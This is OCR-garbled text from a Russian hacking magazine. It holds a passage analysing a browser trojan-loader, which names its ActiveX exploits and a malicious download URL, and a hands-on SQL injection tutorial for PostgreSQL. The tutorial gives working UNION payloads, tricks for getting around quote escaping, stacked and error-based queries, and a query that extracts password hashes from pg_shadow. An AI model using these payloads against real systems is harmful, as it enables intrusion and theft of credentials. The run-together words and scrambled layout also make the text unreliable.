недостатокплагина— текстнеможетбытьскопированизнегокорректно, еслиимеетслишком большойразмер(функция«Копироватьисходныйкод» нефункционирует; возможно, вновой, болеестабильнойверсииFirebug недостаток будетустранен). Решениевсе-такисуществует. Откройвкладку«Стеквызовов», котораярасполагаетсясправаотокна«Сценарий», ивыбери изспискавызововфункцию«oD2vKFj61». Автоматическиотобразитсянеобходимыйнамкод. Найдивокнекодапеременную«ud7a00v7W». Каквидишь, скриптвыполняетопределенный наборинструкций, полученныйврезультате некихманипуляцийсзашифрованнойстрокой, путемвыполнениякоманды«eval (ud7a00v7W)». Откройвкладку«Наблюдение», расположеннуюсправаотокнасценария. Нажминаполе «Новоенаблюдение...» ивведиимяпеременной (ud7a00v7W). Послеэтогоонаотобразитсявсписке«Наблюдение». Нажминанееправойкнопкой мышиивыбери«Копироватьзначение». Теперь расшифрованныйкодтроян-лоадеранаходится вбуфереобмена.
Первыетрудностиосталисьпозади. Поговоримотом, какимипутямитроянописатель пытался«отбитьнюх» уреверсераизаставить егоотказатьсяотисследования. Возможно, тыудивишься, нообфускацияишифрование кода— неединственное, чтобылоприпасенов арсеналеавторалоадера(обэтомяупоминал чутьвыше, когдаречьшлаоневозможности запускадеобфусцированногокода). Есливнимательнопосмотретьнакодобфусцированногоскрипта, можнозаметитьдовольностранную конструкцию, расположеннуювнутрифункции, котораязапускаетпроцессдекодирования:
var t1jXcSnPQ=arguments.callee. toString().replace(/\W/g,''). toUpperCase();
Далее, походувыполненияфункции, значение переменнойt1jXcSnPQ используетсянесколько раз. Вызовфункцииcallee массиваarguments нарядуспреобразованиемзначениявстроку («toString()») указываетнато, чтофункция используетсобственныйтекстдлявыполнения дешифрования. Этопрепятствуетвмешательствувкодфункции, иееизменениестановитсяневозможным. Попыткаполучениякода расшифрованногоскриптапутемвнедрения вjavascript-кодконструкций, присваивающихегозначениеатрибутамтекстовыхполей html-документа, заканчиваетсянеудачей. Например, выполнениеприсвоениязначения атрибуту«VALUE» специальносозданноготега «TEXT» лишенотуткакого-либосмысла, ведь результатрасшифровкиприизменениитела функциибудетпринципиальноиным, нежелив случаесвызовоморигинальнойдешифрующей функции. Поэтойпричинеиспользованиеот- ладчикаjavascript-сценариев— одинизсамых простыхспособов, позволяющихэффективнои быстрообходитьдостаточносложнуюзащиту.
074 |
XÀÊÅÐ 10 /130/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|||||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||||
|
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
4)Функция«u5r_Qafm()»: |
|
|
|
ПовреждениепамятичерезActiveX вAmerica |
|
|
|
Online SuperBuddy (memory corruption). Метод |
|
|
|
позволяетвыполнятьдействиянадконтроли- |
|
|
|
руемымдиапазономпамяти. |
|
|
|
5)Функция«Fv2QJVho ()»: |
|
|
|
Попыткаиспользованияпереполнениякучи, |
|
|
|
уязвимаябиблиотека— NCTAudioFile2.dll |
|
|
|
изNCTSoft NCTVideoStudio. Идентификатор |
|
|
|
класса(CLSID) — 77829F14-D911-40FF-A2F0- |
|
|
|
D11DB8D6D0BC. |
|
|
|
6)Функция«uzbeukYW()»: |
|
|
|
Уязвимость, содержащаясявпрограммеGOM |
|
|
|
Player 2.1.6.3499 иболеераннихееверсиях, |
|
|
|
позволяетвыполнятьпроизвольныйкодна |
|
|
|
удаленноймашине. Оназаключаетсявошибке |
|
|
|
проверкиграницданныхвActiveX-компонен- |
|
|
|
теGomWebCtrl.GomManager.1 (GomWeb3. |
|
|
|
dll) приобработкеметода«OpenURL()». Для |
|
|
|
выполненияпроизвольногокодаиспользу- |
|
|
|
етсяпередачаприпомощисформированной |
|
|
|
ссылкидлинногоаргумента(более500 байт), |
|
|
|
чтовызываетпереполнениестека. |
SANDBOXIE — ИТРОЯНЫ«ВКОРОБКЕ»! НАДЕЖНЕЕВИРТУАЛЬНОЙ |
7) Функция«bF4sn2HS()»: |
||
МАШИНЫ |
|
|
Ошибка, котораяиспользуетсяфункцией, |
|
|
|
содержитсявActiveX-компонентеMicrosoft |
ЛАТАЕМДЫРЫ |
|
|
Access Snapshot Viewer-а. Уязвимостьпозво- |
(болееподробноеописаниеприводитсяздесь: |
ляетинициироватьпереполнениебуфераи |
||
Кодтроян-лоадераполучен, остаетсялишь |
http://www.kb.cert.org/vuls/id/234812). Припо- |
выполнятьпроизвольныйкоднаудаленной |
|
проанализироватьего, извлечьнеобходимые |
мощифункции«yXjO37yr()» способнасоздавать |
машинесправамипользователя, запустивше- |
|
данныеизалататьдыры, которые, возможно, |
изагружатьфайл«C:\win....exe» (спроизволь- |
гоInternet Explorer. |
|
присутствуютвбраузерахиоперационной |
нымнаборомсимволоввимени). Происходит |
ЗАКЛЮЧЕНИЕ |
|
системе. |
попытказагрузкисадресаhttp://guuatwe.com/ |
||
Основатроян-лоадера— наборфункций, |
in.cgi?02010258020000000019f696fa242c14658 |
Какты, возможно, заметил, троянописате- |
|
использующихдоступныеуязвимостидля |
1fe980f. |
лиориентировалисьнаInternet Explorer, |
|
выполнениявредоносногокода. Количество |
2)Функция«DnCWiFOj()»: |
которымпользуетсяосновнаямассаинтер- |
|
функцийравносеми; еслиучесть, чтокаждаяиз |
Функцияпытаетсявыполнитькод, записанный |
нет-серферов, хотянекоторыеизуязвимостей |
|
нихэксплуатируетнекоторуюсерьезнуюдырув |
вunescape-последовательности, видимо, |
присутствуютивдругихбраузерах. Помимо |
|
безопасности, можноубедиться, наскольконе- |
провоцируяпереполнениебуфера. |
практическойпользы, изнашегоопытаможно |
|
приятныепоследствияможетиметьвыполне- |
3) Функция«SOhxTHtY()»: |
извлечьхорошийурок: троянописателиприду- |
|
ниескриптананезащищенноймашине. Ниже |
Используетсяпопыткасозданияуязвимо- |
мываютвсеновыеспособызаражениякомпью- |
|
приведенкод, которыйвыполняетосновную |
гоActiveXObject-аипереполнениябуфера |
теровпользователей. Впрочем, противостоять |
|
работу: |
(подобныймеханизмиспользуетсявTrojan- |
имвсежеможно, ивэтоммысегодняубеди- |
|
|
Downloader.Win32.Tiny). |
лись. Успеховвисследованиях! z |
if (n0lterOf() || DnCWiFOj() |
|
|
|| SOhxTHtY() || u5r_Qafm() || |
|
|
Fv2QJVho() || uzbeukYW() || |
|
|
bF4sn2HS()) { } |
ТЕКСТЛОАДЕРАПОЛУЧЕН |
|
setTimeout("window.location = |
||
|
||
'http://www.google.com'", 5000); |
|
|
|
|
|
Мыужеубедились, чтоскриптперебрасывает |
|
|
браузернасайтпоисковойсистемыGoogle; те- |
|
|
перь— выяснили, чтопроисходитчутьраньше |
|
|
этогособытия. Займемсяанализомкаждойиз |
|
|
функций. Поисковики, бюллетенибезопас- |
|
|
ностиибаг-трекерыпомогутнамвполучении |
|
|
подробностей, касающихсякаждойизисполь- |
|
|
зуемыхвредоноснымкодомдыр. Полныйтекст |
|
|
каждойизфункцийтыможешьнайтинадиске, |
|
|
таккакразмержурнальнойстатьинепозволяет |
|
|
привестиихцеликом. Мыограничимсялишь |
|
|
спискомдыр. |
|
|
1)Функция«n0lterOf()»: |
|
|
ИспользуетсяуязвимыйActiveX-компонент |
|
XÀÊÅÐ 10 /130/ 09 |
075 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
to |
|
|
|
|
|
ВЗЛОМ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
w Click |
|
|
|
|
|
|
|
SPYDER@ANTICHAT.NET |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
- |
|
n |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
УКОЛСЛОНУ
РУКОВОДСТВОПОРЕАЛИЗАЦИИSQL-INJECTION ВPOSTGRESQL
Говоряобазахданных, человек, работающийвВебе, скореевсего вспомнитMySQL, апрограммист, создающийБДдлякрупныхторговыхкомпаний, — Oracle. Темнеменее, PostgreSQL сейчасоднаиз самыхмощныхреляционныхСУБДнарядусOracle иSybase и, стоит заметить, бесплатная.
UNION, |
|
|
|
||
ВСЕГЕНИАЛЬНОЕ— ПРОСТО |
Врезультатеувидимошибку: |
id (int) |
|||
Итак, сразукделу. Рассмотриминъекциювида |
|
|
title (text) |
||
|
|
Query failed: ERROR: ORDER BY |
|
text (text) |
|
SELECT id,title,text,is_enable FROM |
|
position 5 is not in select list |
|
|
|
news WHERE id=$id; |
|
|
|
is_enable (boolean) |
|
Отнимаемотэтогочислаединицуиполучаем |
|||||
|
|
|
|||
Еслимынезнаемколичествостолбцов, то |
Попыткасоставить, например, такойзапрос: |
||||
количествостолбцоввзапросе. Внашемслу- |
|||||
подбираемтакже, какивMySQL: |
чаеэтобудет4. Составляемещеодинзапрос: |
|
|||
|
|
|
|
id=-1 UNION SELECT |
|
id=1 ORDER BY 1 |
|
id=-1 UNION SELECT |
|
null,null,null,123 |
|
id=1 ORDER BY 99 |
|
null,null,null,null |
|
|
|
привелабыкследующейошибке— |
|||||
|
|
|
|
||
— либо, еслиунасестьвыводошибок, следую- |
ВажноеотличиеMySQL отбольшинствадругих |
||||
|
|||||
щимобразом: |
СУБД— втом, чтоонаигнорируетконфликтв |
Query failed: ERROR: UNION types |
|||
|
|
типахколонокприUNION. Внашемслучаеполя |
boolean and integer cannot be |
||
id=1 ORDER BY 1,2,3,4,5,...,99 |
|
имеюттип: |
matched |
||
|
|
|
|
|
076 |
XÀÊÅÐ 10 /130/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Какправило, намтребуетсявыводвстолбцах типаtext илиchar.
УЗНАЕМОСЕБЕ
Преждевсего, узнаем, ктомытакие(т.е. свои праваиобязанности), выполнивзапрос:
id=-1 UNION SELECT null,null,ñurrent_user,null
Атакжеполучимполноеинфоосервере:
id=-1 UNION SELECT null,null,current_ database()||':'||version(),null
Здесьстоитразобратьзапроспочастям. Вопервых, внемиспользуютсяспецифические функции:
current_database() — выводит название текущей базы данных
version() — аналогично с MySQL выводит версию PostgreSQL
Во-вторых, дляобъединенияиспользуются Символыпайпов«||», аналогфункцииconcat() вMySQL. И, в-третьих, разделителемвыступает символдвоеточия«:», обрамленныйкавычками.
Запросвозвратитрезультат:
sitedb:PostgreSQL 8.3.7 on x86_64- redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20071124 (Red Hat 4.1.2-42)
Рассмотримслучай, когдауязвимоеприложениенаписанонаPHP, ивскриптеиспользуется функцияaddslashes(), либовфайлеphp.ini
включенадирективаmagic_quotes_gpc.
1. chr()
Функцияchr() получаетодинчисловойаргумент«n» типаinteger ивозвращаетсимвол сASCII-кодом, равным«n». Узнаемчар-код символа«:» исоставляемзапрос:
id=-1 UNION SELECT null,null,current_database()||chr( 58)||version(),null
Этонеоченьудобно,таккакиногдавкавычки нужнообрамлятьдовольнодлиннуюстроку.Тутсуществуетболееудобныйспособ,описанныйниже.
РЕЗУЛЬТАТУСПЕШНОПРОИЗ-
ВЕДЕННОГОBACK-CONNECT'A.
ПОЛЬЗОВАТЕЛЬPOSTGRES
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
P |
|
|
|
|
|
NOW! |
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
to |
BUY |
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
|||
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
КАКИВДРУГИХСУБД, ВPOSGRESQL СУЩЕСТВУЮТСТАНДАРТНЫЕСИСТЕМНЫЕ ТАБЛИЦЫ.КНЕКОТОРЫМИМЕЮТДОСТУПВСЕ.
2.$text$
ДвазнакадоллараговорятPostgreSQL отом, чтодалеевзапросеследуетстрока. И этосамыйлучшийспособобходаэкранирова-
ниякавычек. Нашзапросбудетвыглядетьтак:
id=-1 UNION SELECT null,null,current_database()||$tex t$:$text$||version(),null
Поправдеговоря, словоtext междузнаками доллараможноопустить:).
id=-1 UNION SELECT null,null,current_database()||$$:$ $||version(),null
СИСТЕМНАЯИНФОРМАЦИЯ
КакивдругихСУБД, вPosgreSQL существуют стандартныесистемныетаблицы. Кнекоторым имеютдоступвсе, акнекоторымтолькосуперюзер.
1. pg_user
Таблица, доступнаявсемпользователям. Пользахакеруотнеенебольшая, новсежеонаесть. Интересныеполя:
usename — Имя пользователя (тип name)
usesysid — ID пользователя (тип int) usecreatedb — Может ли пользователь создавать базы данных (тип boolean) usecatupd — Может ли пользователь вносить изменения в системные таблицы (тип boolean)
usesuper — Имеет ли пользователь привилегии superuser (тип boolean)
Чтобыузнатьбольшеинформациионашем пользователе, составляемтакойзапрос:
id=-1 UNION SELECT null,null,usena me||':'||cast(usesysid+as+text)|| ':'||cast(usecreatedb+as+text)||' :'||cast(usecatupd+as+text)||':'| |cast(usesuper+as+text),null FROM pg_user WHERE usename=current_user
Витоге, получимрезультатвида—
admin:16385:true:true:true
Впредыдущемзапросебылаиспользована функцияcast(), она, также, какивMySQL, преобразуеттипыданных. ВнашемслучаепроисходитпреобразованиеintÆtext иbooleanÆtext.
2. pg_shadow
Тысейчас, скореевсего, вспомнилфайл/etc/ shadow, вкоторомнаходятсяпаролиполь- зователейвбольшинстве*nix-систем. Ине зря! Таблицаpg_shadow, вотличиеотpg_user, хранитвсебеещеипаролипользователей. Попробуемузнатьпароль:
id=-1 UNION SELECT null,null,usenam e||':'||passwd,null FROM pg_shadow WHERE usename=current_user
admin:md5db55162d9e34e895d45a084f1
5726371
Ксожалению, доступктаблицеpg_shadow есть толькоуюзерасправамиusesuper.
3.pg_language
Этотаблица, вкоторойсодержитсяинформа-
ИНЪЕКЦИЯВPOSTGRESQL ЧАСТОСТАВИТВТУПИК
XÀÊÅÐ 10 /130/ 09 |
077 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
||||||
P |
|
|
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
to |
|
|
|
|
|
ВЗЛОМ |
|
|
|
|
|
|
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
. |
|
|
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
- |
|
|
n |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
НЕБОЛЬШАЯЗАМЕТКА«HACKING WITH POSTGRESQL» НА WWW.DEPESZ.COM
WARNING |
info
Внимание! Инфор-
мацияпредставлена исключительно сцельюознаком-
ления! Ниавтор, ни редакциязатвои действияответственностиненесут!
цияобустановленныхпроцедурныхязыках. Подробнее— чутьпозже, апокаприведуеенеполную структуру:
lanname — Название языка (тип name)
lanispl — Является ли язык процедурным, всегда false для языка sql (тип boolean) lanpltrusted — Является ли процедурный язык безопасным (тип boolean)
ВСТРЕЧАЙТЕ...
INFORMATION_SCHEMA!
Радоватьсяилиплакать, новPostgreSQL существует полюбившаясянамвMySQL > 5.0 базаinformation_schema,
содержащаявсебеинформациюобовсехтаблицахи колонках, доступныхтекущемупользователю. Структураее практическиидентична.
Узнаеминтересующуюнастаблицу:
id=-1 UNION SELECT null,null,table_name,null FROM information_schema.tables LIMIT 1 OFFSET 0
главныхплюсовинъекциивPostgreSQL — возможность разделенийзапросовсимволовточкисзапятой';'.Внашем примереэтобудетвыглядетьтак:
id=10;SELECT 123
Минустакогоспособа— мыневидимвыводавторого запроса, ноиэтонепомеха. Апоможетнамздесьзнакомое преобразованиетипов. Попробуемпреобразоватьтипtext в типboolean ипосмотрим, чтоизэтоговыйдет:
id=10;SELECT CAST(version() AS boolean)
Врезультатезапросвернетошибку:
Query failed: ERROR: invalid input syntax for type boolean: "PostgreSQL 8.3.7 on x86_64- redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20071124 (Red Hat 4.1.2-42)"
Однакоэтотспособнебудетработать, еслиполеимееттип name. Кпримеру, такойзапрос:
id=10;SELECT+CAST(usename AS boolean) FROM pg_user
возвратитошибку—
ERROR: cannot cast type name to boolean
